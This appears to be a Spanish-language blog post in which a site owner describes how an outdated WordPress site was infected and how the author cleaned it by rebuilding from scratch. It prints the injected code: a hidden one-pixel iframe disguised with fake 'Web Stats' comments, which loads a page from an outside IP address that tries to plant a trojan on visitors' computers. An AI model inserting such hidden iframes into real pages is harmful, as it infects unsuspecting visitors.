Funciona con WordPress.

En realidad no me refiero a que me colasen un troyano en mi computadora, uso un antivirus gratuito que se actualiza a diario y da muy buenos resultados, se llama Avast, francamente se lo recomiendo a cualquiera, donde me colaron el virus fue en una de mis paginas, pero me di cuenta enseguida y ya esta corregido.

Realmente la culpa se puede decir que fue mía, la pagina atacada funciona con WordPress y no había actualizado el script hacia algún tiempo por lo que estaba funcionando con la versión 2.6 cuando la actual es la 2.7.1 y, claro esta, tenia funcionando un sitio con un script php que tiene bugs conocidos.

Además debería haber estado mas atento ya que esta web recibe una cantidad de spam impresionante, 100 envíos diarios intentan colar su publicad indeseable en este sitio, lógicamente lo logran nunca ya que uso el Akismet, un conocido plugin para evitar el spam, y además modero todos los artículos, nada puede ser publicado si no lo aprueba antes una persona.

Y como la web estaba desactualizada la solución que tome fue a la tremenda, use la opción de exportar para obtener un fichero con todos los artículos de ese sitio y eliminar los rastros del virus en esos artículos, lo borre completamente, borre también la base de datos completa y monte el sitio de nuevo partiendo desde cero, cambiando de paso todas las contraseñas, en realidad no cuesta demasiado hacer todo esto y de esa manera me aseguraba que no quedaba ningún resquicio de seguridad.

Como opte por la solución anterior no me tome la molestia de averiguar datos concretos del ataque, aunque para limpiar los artículos tuve que ver como actuaba el virus para esconderse dentro de los artículos, se camuflaba como si fuese una etiqueta de un servicio de estadísticas para WordPress de la siguiente manera:

<!– Web Stats –> <!– End Web Stats –>

Y entre las dos etiquetas anteriores te metía un iframe usando este código web:

<iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe>

Para los que no sepáis lo que es un iframe os lo explico, es como si se abriese una pagina web dentro de otra pagina web, se le puede indicar el tamaño, en este caso el tamaño lo especifica donde pone  “width=1 height=1” que seria un píxel por un píxel, por lo que en la web atacada pasa desapercibido ya que solo se ve un puntito, pero en ese puntito abre una web que intenta descargar un troyano en el ordenador de la persona que esta navegando por esa pagina web, pero tampoco os asuntéis demasiado, teniendo instalado y actualizado un antivirus en el ordenador os evitara esta clase de problemas.

Además de infectar algunos artículos me di cuenta de que había ficheros “de mas” en el WordPress, concretamente uno era “wp-stats.php”, así que por eso en vez de actualizar preferí borrar y ponerlo todo de nuevo.

Si tenéis curiosidad por visitar el sitio atacado, que os recuerdo que ya esta limpio y se puede visitar sin ningún problema, podéis hacerlo visitando la siguiente url:

http://www.Notas.com.es